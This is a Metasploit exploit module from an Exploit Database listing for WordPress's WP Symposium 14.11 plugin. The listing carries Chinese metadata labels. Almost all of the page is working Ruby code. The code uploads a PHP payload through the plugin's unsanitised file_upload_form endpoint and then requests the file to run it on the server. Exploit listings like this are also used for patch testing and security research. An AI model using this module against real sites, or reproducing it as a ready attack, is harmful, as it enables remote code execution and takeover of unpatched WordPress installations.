WordPress Plugin WP Symposium 14.11 – Arbitrary File Upload (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2015-01-13
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35778/

• ##
  # This module requires Metasploit: http://www.metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::FileDropper
  include Msf::HTTP::Wordpress
  
  def initialize(info = {})
  super(update_info(
  info,
  'Name'=> 'WordPress WP Symposium 14.11 Shell Upload',
  'Description' => %q{WP Symposium Plugin for WordPress contains a
  flaw that allows a remote attacker to execute
  arbitrary PHP code. This flaw exists because the
  /wp-symposium/server/file_upload_form.php script
  does not properly verify or sanitize
  user-uploaded files. By uploading a .php file,
  the remote system will place the file in a
  user-accessible path. Making a direct request to
  the uploaded file will allow the attacker to
  execute the script with the privileges of the
  web server.},
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Claudio Viviani',# Vulnerability disclosure
  'Rob Carr <rob[at]rastating.com>' # Metasploit module
  ],
  'References'=>
  [
  ['OSVDB', '116046'],
  ['WPVDB', '7716']
  ],
  'DisclosureDate'=> 'Dec 11 2014',
  'Platform'=> 'php',
  'Arch'=> ARCH_PHP,
  'Targets' => [['wp-symposium < 14.12', {}]],
  'DefaultTarget' => 0
  ))
  end
  
  def check
  check_plugin_version_from_readme('wp-symposium', '14.12')
  end
  
  def generate_mime_message(payload, payload_name, directory_name, symposium_url)
  data = Rex::MIME::Message.new
  data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')
  data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')
  data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')
  data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")
  data
  end
  
  def exploit
  print_status("#{peer} - Preparing payload")
  unique_name = Rex::Text.rand_text_alpha(10)
  payload_name = "#{unique_name}.php"
  symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
  payload_url = normalize_uri(symposium_url, unique_name, payload_name)
  data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
  symposium_url = normalize_uri(symposium_url, 'index.php')
  
  print_status("#{peer} - Uploading payload to #{payload_url}")
  res = send_request_cgi(
  'method'=> 'POST',
  'uri' => symposium_url,
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data'=> data.to_s
  )
  
  if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
  print_good("#{peer} - Uploaded the payload")
  register_files_for_cleanup(payload_name)
  
  print_status("#{peer} - Executing the payload...")
  send_request_cgi(
  {
  'uri' => payload_url,
  'method'=> 'GET'
  }, 5)
  print_good("#{peer} - Executed payload")
  else
  if res.nil?
  fail_with(Failure::Unreachable, "No response from the target")
  else
  vprint_error("#{peer} - HTTP Status: #{res.code}")
  vprint_error("#{peer} - Server returned: #{res.body}")
  fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
  end
  end
  end
  end